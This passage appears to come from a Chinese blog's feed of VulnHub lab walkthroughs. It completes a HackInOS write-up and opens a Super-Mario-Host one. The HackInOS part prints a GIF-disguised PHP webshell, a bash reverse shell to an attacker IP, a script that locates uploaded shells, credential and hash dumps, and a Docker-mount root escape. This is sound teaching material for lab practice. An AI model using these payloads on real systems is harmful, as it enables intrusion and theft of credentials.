[+] XML-RPC seems to be enabled: http://192.168.31.206:8000/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] WordPress version 5.0.3 identified (Insecure, released on 2019-01-09).
 | Found By: Emoji Settings (Passive Detection)
 |  - http://192.168.31.206:8000/, Match: &apos;wp-includes\/js\/wp-emoji-release.min.js?ver=5.0.3&apos;
 | Confirmed By: Meta Generator (Passive Detection)
 |  - http://192.168.31.206:8000/, Match: &apos;WordPress 5.0.3&apos;

[+] handsome_container
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;扫描发现 XML-RPC 已开启。在 WordPress 渗透中，&lt;code&gt;xmlrpc.php&lt;/code&gt; 通常被用来进行高效的密码爆破：比起传统的登录表单，它可以通过 &lt;code&gt;system.multicall&lt;/code&gt; 在一次请求中尝试数百个密码。还发现了一个叫 &lt;code&gt;handsome_container&lt;/code&gt; 的用户，尝试暴力破解：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ wpscan --url http://192.168.31.206:8000/ \
       --password-attack xmlrpc \
       -t 50 \
       -U handsome_container \
       -P /usr/share/wordlists/rockyou.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;--password-attack xmlrpc&lt;/code&gt;：强制使用 XML-RPC 批量验证模式；&lt;code&gt;-t 50&lt;/code&gt;：开启 50 个并发线程。此路未跑出结果。&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ dirsearch -u http://192.168.31.206:8000/                                

Target: http://192.168.31.206:8000/

[04:26:59] Starting:                                                         
...
[04:27:14] 301 -    0B  - /index.php  -&amp;gt;  http://192.168.31.206:8000/       
[04:27:14] 301 -    0B  - /index.php/login/  -&amp;gt;  http://192.168.31.206:8000/login/
[04:27:15] 200 -    7KB - /license.txt                                      
[04:27:21] 200 -    3KB - /readme.html                                      
[04:27:21] 200 -   52B  - /robots.txt                                       
[04:27:22] 403 -  304B  - /server-status                                    
[04:27:22] 403 -  305B  - /server-status/
[04:27:26] 200 -  260B  - /upload.php                                       
[04:27:26] 301 -  325B  - /uploads  -&amp;gt;  http://192.168.31.206:8000/uploads/ 
[04:27:26] 403 -  299B  - /uploads/                                         
[04:27:28] 301 -  326B  - /wp-admin  -&amp;gt;  http://192.168.31.206:8000/wp-admin/
[04:27:28] 200 -    0B  - /wp-config.php                                    
[04:27:28] 400 -    1B  - /wp-admin/admin-ajax.php
[04:27:28] 302 -    0B  - /wp-admin/  -&amp;gt;  http://localhost:8000/wp-login.php?redirect_to=http%3A%2F%2F192.168.31.206%3A8000%2Fwp-admin%2F&amp;amp;reauth=1
[04:27:28] 500 -    3KB  - /wp-admin/setup-config.php                        
[04:27:28] 200 -  537B  - /wp-admin/install.php                             
[04:27:28] 301 -  328B  - /wp-content  -&amp;gt;  http://192.168.31.206:8000/wp-content/
[04:27:28] 200 -    0B  - /wp-content/
[04:27:28] 403 -  329B  - /wp-content/plugins/akismet/akismet.php           
[04:27:28] 403 -  327B  - /wp-content/plugins/akismet/admin.php             
[04:27:28] 200 -  184B  - /wp-content/plugins/hello.php                     
[04:27:28] 301 -  329B  - /wp-includes  -&amp;gt;  http://192.168.31.206:8000/wp-includes/
[04:27:28] 403 -  303B  - /wp-includes/
[04:27:28] 200 -    0B  - /wp-cron.php                                      
[04:27:28] 200 -  187B  - /wp-includes/rss-functions.php
[04:27:28] 302 -    0B  - /wp-signup.php  -&amp;gt;  http://localhost:8000/wp-login.php?action=register
[04:27:28] 200 -    1KB  - /wp-login.php                                     
[04:27:28] 405 -   42B  - /xmlrpc.php                                        

Task Completed                               
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;/upload.php&lt;/code&gt;：响应大小只有 260 字节，这通常意味着它要么是一个非常简单的 HTML 表单，要么是一个没有任何 UI 的后端处理脚本。&lt;/p&gt;
&lt;h3&gt;文件上传&lt;/h3&gt;
&lt;p&gt;结合扫描的结果，首先访问 &lt;code&gt;upload.php&lt;/code&gt;，点击提交按钮什么也不上传，发现提示：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Warning: getimagesize(): Filename cannot be empty in /var/www/html/upload.php on line 25&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./HackInOS%E5%A4%8D%E7%8E%B0.assets/hackinos-upload-php.png&quot; alt=&quot;upload.php 报错信息&quot; /&gt;&lt;/p&gt;
&lt;p&gt;由此可知 uploads 文件夹位于 &lt;code&gt;/var/www/html/&lt;/code&gt; 目录下，并使用 &lt;code&gt;getimagesize&lt;/code&gt; 函数对图片信息做了获取。&lt;/p&gt;
&lt;p&gt;创建一个测试文件 &lt;code&gt;test.txt&lt;/code&gt;，内容随便写。然后尝试通过 POST 请求发送：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ curl -F &quot;file=@test.txt&quot; http://192.168.31.206:8000/upload.php

&amp;lt;!DOCTYPE html&amp;gt;
&amp;lt;html&amp;gt;

&amp;lt;body&amp;gt;

&amp;lt;div align=&quot;center&quot;&amp;gt;
&amp;lt;form action=&quot;&quot; method=&quot;post&quot; enctype=&quot;multipart/form-data&quot;&amp;gt;
    &amp;lt;br&amp;gt;
    &amp;lt;b&amp;gt;Select image : &amp;lt;/b&amp;gt; 
    &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot; style=&quot;border: solid;&quot;&amp;gt;
    &amp;lt;input type=&quot;submit&quot; value=&quot;Submit&quot; name=&quot;submit&quot;&amp;gt;
&amp;lt;/form&amp;gt;
&amp;lt;/div&amp;gt;

&amp;lt;!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint --&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;请求返回的内容中发现有一条注释：&lt;code&gt;&amp;lt;!-- https://github.com/fatihhcelik/Vulnerable-Machine---Hint --&amp;gt;&lt;/code&gt;，查看 GitHub 上的项目源码，分析可知以下几点：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;	$rand_number = rand(1,100);		//生成1-100之间的随机数
	$target_dir = &quot;uploads/&quot;;
	$target_file = $target_dir . md5(basename($_FILES[&quot;file&quot;][&quot;name&quot;].$rand_number));
	//对上传的文件名添加随机数并使用md5加密处理
	
	/*****分割线*****/
    
	if($check[&quot;mime&quot;] == &quot;image/png&quot; || $check[&quot;mime&quot;] == &quot;image/gif&quot;){
		$uploadOk = 1;
	}else{
		$uploadOk = 0;
		echo &quot;:)&quot;;
	} 
	//网页对MIME类型进行检测
	//校验方式是校验文件内容（实际校验的是文件开头几个标志文件类型的字节，PNG格式为0x890x500x4E0x470x0D0x0A0x1A0x0A，GIF格式为GIF98）
	//利用文件头标志判断文件类型：https://blog.mythsman.com/post/5d301940976abc05b345469f/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;欺骗 &lt;code&gt;getimagesize()&lt;/code&gt; 最简单的方法是伪造一个 GIF 文件头：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ echo &apos;GIF89a&amp;lt;?php system($_GET[&quot;cmd&quot;]); ?&amp;gt;&apos; &amp;gt; shell.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;点击上传可知文件被传输到 &lt;code&gt;uploads/&lt;/code&gt; 目录：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./HackInOS%E5%A4%8D%E7%8E%B0.assets/hackinos-uploads.png&quot; alt=&quot;上传成功，文件出现在 uploads 目录&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写一个 Python 脚本快速寻找上传的一句话木马：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import requests

url = &quot;http://192.168.31.206:8000/uploads/&quot;
filename = &quot;shell.php&quot;  # 确保这和你上传时的文件名完全一致

print(&quot;[*] Starting to brute force the MD5 filename...&quot;)

for i in range(1, 101):
    # 模拟 PHP 的 md5(basename($_FILES[&quot;file&quot;][&quot;name&quot;].$rand_number))
    data = filename + str(i)
    md5_hash = hashlib.md5(data.encode()).hexdigest()
    
    full_url = f&quot;{url}{md5_hash}.php&quot;
 
    try:
        response = requests.get(full_url, timeout=2)
        if response.status_code == 200:
            print(f&quot;\n[+] Found! Your shell is at: {full_url}&quot;)
            print(f&quot;[+] Execution test (id): {full_url}?cmd=id&quot;)
            res = requests.get(f&quot;{full_url}?cmd=id&quot;)
            print(f&quot;[+] Result: {res.text.strip()}&quot;)
            break
    except requests.RequestException:
        pass
else:
    print(&quot;\n[-] Failed to find the shell.&quot;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查找成功：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ python find_shell.py
[*] Starting to brute force the MD5 filename...

[+] Found! Your shell is at: http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php
[+] Execution test (id): http://192.168.31.206:8000/uploads/fd8d525b37b885ba28022a55bca14e55.php?cmd=id
[+] Result: GIF89auid=33(www-data) gid=33(www-data) groups=33(www-data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但过一会刷新后就发现上传的一句话木马已经失效了，存活时间不超过 10 秒。推测靶机挂了一个定时清理任务（Cron Job），每隔几秒清空一次上传目录，模拟真实环境中的 EDR/杀毒脚本。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./HackInOS%E5%A4%8D%E7%8E%B0.assets/hackinos-notfound.png&quot; alt=&quot;上传的木马已被清理&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里可以重新上传一个大马形成稳定后门，也可以直接反弹 Shell。&lt;/p&gt;
&lt;h3&gt;反弹 Shell&lt;/h3&gt;
&lt;p&gt;重新准备一个反弹木马：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;GIF89a
&amp;lt;?php
system(&quot;bash -c &apos;bash -i &amp;gt;&amp;amp; /dev/tcp/192.168.31.152/4444 0&amp;gt;&amp;amp;1&apos;&quot;);
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地开启监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ nc -lvvp 4444
listening on [any] 4444 ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;手动上传木马后运行 Python 脚本触发反弹：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hashlib
import requests
from concurrent.futures import ThreadPoolExecutor

# 配置信息
TARGET_URL_DIR = &quot;http://192.168.31.206:8000/uploads/&quot;
UPLOADED_FILENAME = &quot;rev.php&quot;  # 浏览器选择的文件名

def check_and_trigger(md5_hash):
    full_url = f&quot;{TARGET_URL_DIR}{md5_hash}.php&quot;
    try:
        # 使用 head 请求减少流量，如果文件存在则立即用 get 触发
        resp = requests.head(full_url, timeout=1)
        if resp.status_code == 200:
            requests.get(full_url, timeout=1)
            return True
    except:
        pass
    return False

def main():
    print(f&quot;[*] 正在为文件 &apos;{UPLOADED_FILENAME}&apos; 生成 1-100 的 MD5 路径...&quot;)
    
    # 预先生成 100 个可能的 MD5 值
    possible_hashes = []
    for i in range(1, 101):
        data = UPLOADED_FILENAME + str(i)
        md5_hash = hashlib.md5(data.encode()).hexdigest()
        possible_hashes.append(md5_hash)

    print(&quot;[*] 脚本已就绪。请在浏览器点击 &apos;Submit&apos; 上传，然后立即按回车键开始扫描...&quot;)

    # 使用线程池进行高速并发扫描
    with ThreadPoolExecutor(max_workers=20) as executor:
        results = list(executor.map(check_and_trigger, possible_hashes))

    if not any(results):
        print(&quot;\n[-] 未能触发木马。可能原因：文件名不符、上传失败或删档速度过快。&quot;)

if __name__ == &quot;__main__&quot;:
    main()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹 Shell 成功：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./HackInOS%E5%A4%8D%E7%8E%B0.assets/hackinos-shell.png&quot; alt=&quot;nc 收到反弹 Shell&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;用户 www-data&lt;/h3&gt;
&lt;h4&gt;收集信息&lt;/h4&gt;
&lt;p&gt;反弹 Shell 成功后尝试收集目标的核心信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@1afdd1f6b82c:/var/www/html/uploads$ id 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@1afdd1f6b82c:/var/www/html/uploads$ uname -a 
Linux 1afdd1f6b82c 4.15.0-29-generic #31~16.04.1-Ubuntu SMP Wed Jul 18 08:54:04 UTC 2018 x86_64 GNU/Linux
www-data@1afdd1f6b82c:/var/www/html/uploads$ sudo -l
bash: sudo: command not found
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从主机名 &lt;code&gt;1afdd1f6b82c&lt;/code&gt; 可以看出这很可能是一个容器，当前用户身份为 &lt;code&gt;www-data&lt;/code&gt;。&lt;code&gt;sudo&lt;/code&gt; 命令没找到，但这在 Docker 容器环境中非常常见。&lt;/p&gt;
&lt;p&gt;收集 WordPress 配置信息：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@1afdd1f6b82c:/var/www/html$ cat /var/www/html/wp-config.php
&amp;lt;?php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define(&apos;DB_NAME&apos;, &apos;wordpress&apos;);

/** MySQL database username */
define(&apos;DB_USER&apos;, &apos;wordpress&apos;);

/** MySQL database password */
define(&apos;DB_PASSWORD&apos;, &apos;wordpress&apos;);

/** MySQL hostname */
define(&apos;DB_HOST&apos;, &apos;db:3306&apos;);

/** Database Charset to use in creating database tables. */
define(&apos;DB_CHARSET&apos;, &apos;utf8&apos;);

/** The Database Collate type. Don&apos;t change this if in doubt. */
define(&apos;DB_COLLATE&apos;, &apos;&apos;);

// ** 略 ** //
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;拿到的数据库凭据是 &lt;code&gt;wordpress / wordpress&lt;/code&gt;，&lt;code&gt;DB_HOST&lt;/code&gt; 定义为 &lt;code&gt;db:3306&lt;/code&gt;，这再次证实当前处于一个 &lt;strong&gt;Docker 容器集群&lt;/strong&gt;中（使用了 Docker Compose 链接）。&lt;/p&gt;
&lt;h4&gt;升级交互式 Shell&lt;/h4&gt;
&lt;p&gt;现在的 Shell 只是一个通过 &lt;code&gt;nc&lt;/code&gt; 获得的&lt;strong&gt;简单管道（Simple Pipe）&lt;/strong&gt;，不是真正的交互式 TTY，执行 &lt;code&gt;su&lt;/code&gt; 等命令会报错，需要升级 Shell：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@1afdd1f6b82c:/var/www/html/uploads$ su
su: must be run from a terminal
www-data@1afdd1f6b82c:/var/www/html/uploads$ python3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;按下键盘上的 &lt;code&gt;Ctrl + Z&lt;/code&gt;，Shell 回到本地终端，设置原始终端模式并带回前台，再设置环境变量，Shell 功能就完整了：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@1afdd1f6b82c:/var/www/html/uploads$ ^Z
zsh: suspended  nc -lvvp 4444

┌──(kali㿿kali)-[~]
└─$ stty raw -echo; fg
[1]  + continued  nc -lvvp 4444

www-data@1afdd1f6b82c:/var/www/html/uploads$ export TERM=xterm
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;数据库信息提取&lt;/h4&gt;
&lt;p&gt;由于当前在容器内，可以使用 &lt;code&gt;mysql&lt;/code&gt; 客户端连接到 &lt;code&gt;db&lt;/code&gt; 主机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@1afdd1f6b82c:/var/www/html/uploads$ mysql -h db -u wordpress -p

MySQL [(none)]&amp;gt; use wordpress;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MySQL [wordpress]&amp;gt; show tables;
+-----------------------+
| Tables_in_wordpress   |
+-----------------------+
| host_ssh_cred         |
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+
13 rows in set (0.00 sec)

MySQL [wordpress]&amp;gt; select user_login, user_pass from wp_users;
+--------------------+------------------------------------+
| user_login         | user_pass                          |
+--------------------+------------------------------------+
| Handsome_Container | $P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0 |
+--------------------+------------------------------------+
1 row in set (0.01 sec)

MySQL [wordpress]&amp;gt; SELECT * FROM host_ssh_cred;
+-------------------+----------------------------------+
| id                | pw                               |
+-------------------+----------------------------------+
| hummingbirdscyber | e10adc3949ba59abbe56e057f20f883e |
+-------------------+----------------------------------+
1 row in set (0.01 sec)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现了一个非标准表 &lt;code&gt;host_ssh_cred&lt;/code&gt;。标准的 WordPress 安装中不会有这张表，这是靶机作者留下的线索：一个名为 &lt;code&gt;hummingbirdscyber&lt;/code&gt; 的用户 ID 和对应的密码哈希。&lt;code&gt;wp_users&lt;/code&gt; 表中还有一个名为 &lt;code&gt;Handsome_Container&lt;/code&gt; 的用户。&lt;/p&gt;
&lt;p&gt;其中 hummingbirdscyber 的 Hash（&lt;code&gt;e10adc3949ba59abbe56e057f20f883e&lt;/code&gt;）是 &lt;strong&gt;123456&lt;/strong&gt; 的标准 MD5 值，在在线 MD5 破解网站检索即可得到明文。&lt;/p&gt;
&lt;p&gt;而 Handsome_Container 的 Hash（&lt;code&gt;$P$BXJ8ZmtYd5lHZOLPgTccLUhaQLxm0L0&lt;/code&gt;）是典型的 &lt;strong&gt;phpass&lt;/strong&gt;（WordPress 默认使用的哈希算法）。将 Hash 内容保存到文档中，使用 John the Ripper 破解：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;经测试并未爆破出密码。也可以直接篡改数据库中的密码哈希后登录 WordPress 后台，但此路后续利用不上。&lt;/p&gt;
&lt;h3&gt;用户 hummingbirdscyber&lt;/h3&gt;
&lt;p&gt;其他路暂时走不通，先使用凭据 &lt;code&gt;hummingbirdscyber / 123456&lt;/code&gt; 通过 SSH 登录宿主机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ ssh hummingbirdscyber@192.168.31.206
hummingbirdscyber@192.168.31.206&apos;s password: 

hummingbirdscyber@vulnvm:~$ id
uid=1000(hummingbirdscyber) gid=1000(hummingbirdscyber) groups=1000(hummingbirdscyber),4(adm),24(cdrom),30(dip),46(plugdev),113(lpadmin),128(sambashare),129(docker)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;收集信息&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;hummingbirdscyber@vulnvm:~$ sudo -l
[sudo] password for hummingbirdscyber: 
Sorry, user hummingbirdscyber may not run sudo on vulnvm.
hummingbirdscyber@vulnvm:~$ groups
hummingbirdscyber adm cdrom dip plugdev lpadmin sambashare docker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;无法使用 sudo，但用户在 &lt;code&gt;docker&lt;/code&gt; 组中。在 Linux 中，如果一个普通用户在 &lt;code&gt;docker&lt;/code&gt; 组中，这通常等同于拥有了 &lt;strong&gt;root 权限&lt;/strong&gt;：Docker 守护进程以 root 运行，docker 组成员可以通过挂载宿主机的根目录到容器内，实现对整个宿主机系统的读写。&lt;/p&gt;
&lt;h4&gt;Docker 挂载逃逸&lt;/h4&gt;
&lt;p&gt;启动一个容器，并将宿主机的根目录（&lt;code&gt;/&lt;/code&gt;）挂载到容器内部的 &lt;code&gt;/mnt&lt;/code&gt;。这样，在容器里对 &lt;code&gt;/mnt&lt;/code&gt; 的任何操作都会直接反映在宿主机上。如果提示找不到 &lt;code&gt;alpine&lt;/code&gt; 镜像，可以尝试使用本地已有的镜像（比如之前的 WordPress 镜像）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it alpine chroot /mnt
Unable to find image &apos;alpine:latest&apos; locally

hummingbirdscyber@vulnvm:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
wordpress           latest              69e1f4ea543a        6 years ago         420MB
mysql               5.7                 e47e309f72c8        6 years ago         372MB
ubuntu              latest              47b19964fb50        6 years ago         88.1MB

hummingbirdscyber@vulnvm:~$ docker run -v /:/mnt -it wordpress chroot /mnt
# id
uid=0(root) gid=0(root) groups=0(root)
# python3 -c &apos;import pty; pty.spawn(&quot;/bin/bash&quot;)&apos;
root@3cc711f05eff:/# 
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;获取 Flag&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;root@3cc711f05eff:/# cd /root
root@3cc711f05eff:~# ls
flag
root@3cc711f05eff:~# cat flag 
Congratulations!                    
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;flag 内容为一段 ASCII 字符画（作者署名 ys），通关完成。&lt;/p&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;VulnHub 详情页：https://www.vulnhub.com/entry/hackinos-1,295/&lt;/li&gt;
&lt;li&gt;上传接口源码（GitHub）：https://github.com/fatihhcelik/Vulnerable-Machine---Hint&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Super-Mario-Host 复现</title><link>https://blog.mal-suen.cn/posts/2020/07/47/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2020/07/47/</guid><description>VulnHub 靶机 Super-Mario-Host 的通关记录：从 arp-scan 内网探测定位靶机，经 nmap 端口扫描与 dirb 目录扫描发现 VirtualHost 配置文件，绑定域名后找到 command.php 用户枚举接口，用 cewl 生成的自定义字典爆破出 luigi 的 SSH 密码，受限 Shell 中经 awk 逃逸，最后利用 Linux 3.13.0 内核的 OverlayFS 提权漏洞（EDB-37292）拿到 root 与 flag。</description><pubDate>Sun, 12 Jul 2020 07:29:00 GMT</pubDate><content:encoded>&lt;p&gt;Super-Mario-Host 是一个 Web 安全综合练习靶机，通关路径：内网探测定位靶机，端口与目录扫描发现 VirtualHost 配置文件，绑定域名后找到用户枚举接口，cewl 自定义字典爆破 SSH 密码，受限 Shell 中经 awk 逃逸，最后利用 Linux 3.13.0 内核的 OverlayFS 提权漏洞获取 root 权限与 flag。&lt;/p&gt;
&lt;h2&gt;环境搭建&lt;/h2&gt;
&lt;p&gt;导入攻击机及靶机，已知攻击机 IP 地址为 &lt;code&gt;192.168.109.143&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704145638164.png&quot; alt=&quot;虚拟机网络配置&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;攻击复现&lt;/h2&gt;
&lt;h3&gt;内网主机探测&lt;/h3&gt;
&lt;p&gt;当前靶机 IP 地址未知，需进行内网主机探测，使用 arp-scan 扫描同网段主机（工具原理见&lt;a href=&quot;/posts/2020/06/181/&quot;&gt;arp-scan 工具的工作原理与实践&lt;/a&gt;）。&lt;/p&gt;
&lt;p&gt;列出 kali 的网卡：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# ettercap -I

ettercap 0.8.3 copyright 2001-2019 Ettercap Development Team

List of available Network Interfaces:

 eth0   eth0
 lo     Local Loopback
 bluetooth0     Bluetooth adapter number 0
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;列出局域网内主机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# arp-scan --interface=eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:a1:fc:1d, IPv4: 192.168.109.143
Starting arp-scan 1.9.7 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.109.1   00:50:56:c0:00:08       VMware, Inc.
192.168.109.2   00:50:56:ff:dd:8f       VMware, Inc.
192.168.109.254 00:50:56:fa:8c:a8       VMware, Inc.	
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此处并未发现靶机的 IP 地址，修改虚拟机网络配置使攻击机与靶机处于同一虚拟网络内：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704151645046.png&quot; alt=&quot;修改虚拟机网络配置&quot; /&gt;&lt;/p&gt;
&lt;p&gt;此时再执行扫描，发现内网中存在主机 &lt;code&gt;192.168.109.144&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;p&gt;使用 nmap 对靶机进行全端口扫描：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# nmap -Pn -p 1-65535 192.168.109.144
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-04 15:22 CST                                                                              
Nmap scan report for 192.168.109.144
Host is up (0.00075s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE
22/tcp   open  ssh
8180/tcp open  unknown
MAC Address: 00:0C:29:FA:DF:CE (VMware)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标主机开放了 22（SSH）与 8180（HTTP）端口。&lt;/p&gt;
&lt;h3&gt;网页探索&lt;/h3&gt;
&lt;p&gt;使用 dirb 对网站目录进行扫描：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:~/桌面# dirb http://192.168.109.144:8180 /usr/share/dirb/wordlists/big.txt

START_TIME: Sat Jul  4 15:28:05 2020
URL_BASE: http://192.168.109.144:8180/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
                                                   
---- Scanning URL: http://192.168.109.144:8180/ ----
+ http://192.168.109.144:8180/server-status (CODE:403|SIZE:215)
+ http://192.168.109.144:8180/vhosts (CODE:200|SIZE:1364)
-----------------
END_TIME: Sat Jul  4 15:28:29 2020
DOWNLOADED: 20458 - FOUND: 2
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现可访问的网页 &lt;code&gt;http://192.168.109.144:8180/vhosts&lt;/code&gt;，查看网页内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704155315743.png&quot; alt=&quot;vhosts 页面内容，为 VirtualHost 配置文件&quot; /&gt;&lt;/p&gt;
&lt;p&gt;网页文件为 Apache VirtualHost 配置文件，其中登记了 &lt;code&gt;mario.supermariohost.local&lt;/code&gt; 等域名。使用 &lt;code&gt;vim /etc/hosts&lt;/code&gt; 修改 hosts 文件进行域名绑定：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704160036980.png&quot; alt=&quot;修改 hosts 文件绑定域名&quot; /&gt;&lt;/p&gt;
&lt;p&gt;绑定成功后，访问域名：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704160259518.png&quot; alt=&quot;绑定域名后访问到的页面&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 dirb 对该域名进行目录扫描。根据已获得的信息，在字典中加入 mario、luigi、supermario 等关键词。访问 &lt;code&gt;http://192.168.109.144:8180/&lt;/code&gt; 时发现 nginx 服务，推测网页使用 PHP 语言，使用 &lt;code&gt;-X&lt;/code&gt; 参数在每个目录后附加后缀 &lt;code&gt;.php&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;root@kali:/usr/share/dirb/wordlists# dirb http://mario.supermariohost.local:8180/  /usr/share/dirb/wordlists/big.txt -X .php

START_TIME: Sat Jul  4 16:20:44 2020
URL_BASE: http://mario.supermariohost.local:8180/
WORDLIST_FILES: /usr/share/dirb/wordlists/big.txt
EXTENSIONS_LIST: (.php) | (.php) [NUM = 1]

---- Scanning URL: http://mario.supermariohost.local:8180/ ----
+ http://mario.supermariohost.local:8180/luigi.php (CODE:200|SIZE:386)
+ http://mario.supermariohost.local:8180/mario.php (CODE:200|SIZE:7080)
+ http://mario.supermariohost.local:8180/command.php (CODE:200|SIZE:231)  
-----------------
END_TIME: Sat Jul  4 16:21:08 2020
DOWNLOADED: 20464 - FOUND: 3
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目录扫描发现了三个网页，其中 &lt;code&gt;mario.php&lt;/code&gt; 为游戏界面，&lt;code&gt;luigi.php&lt;/code&gt; 如下所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704170506160.png&quot; alt=&quot;luigi.php 页面，出现关键词 I Love Peach&quot; /&gt;&lt;/p&gt;
&lt;p&gt;发现关键词：&lt;strong&gt;I Love Peach&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;command.php&lt;/code&gt; 如下所示：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Super-Mario-Host%E5%A4%8D%E7%8E%B0.assets/image-20200704170655369.png&quot; alt=&quot;command.php 用户枚举接口&quot; /&gt;&lt;/p&gt;
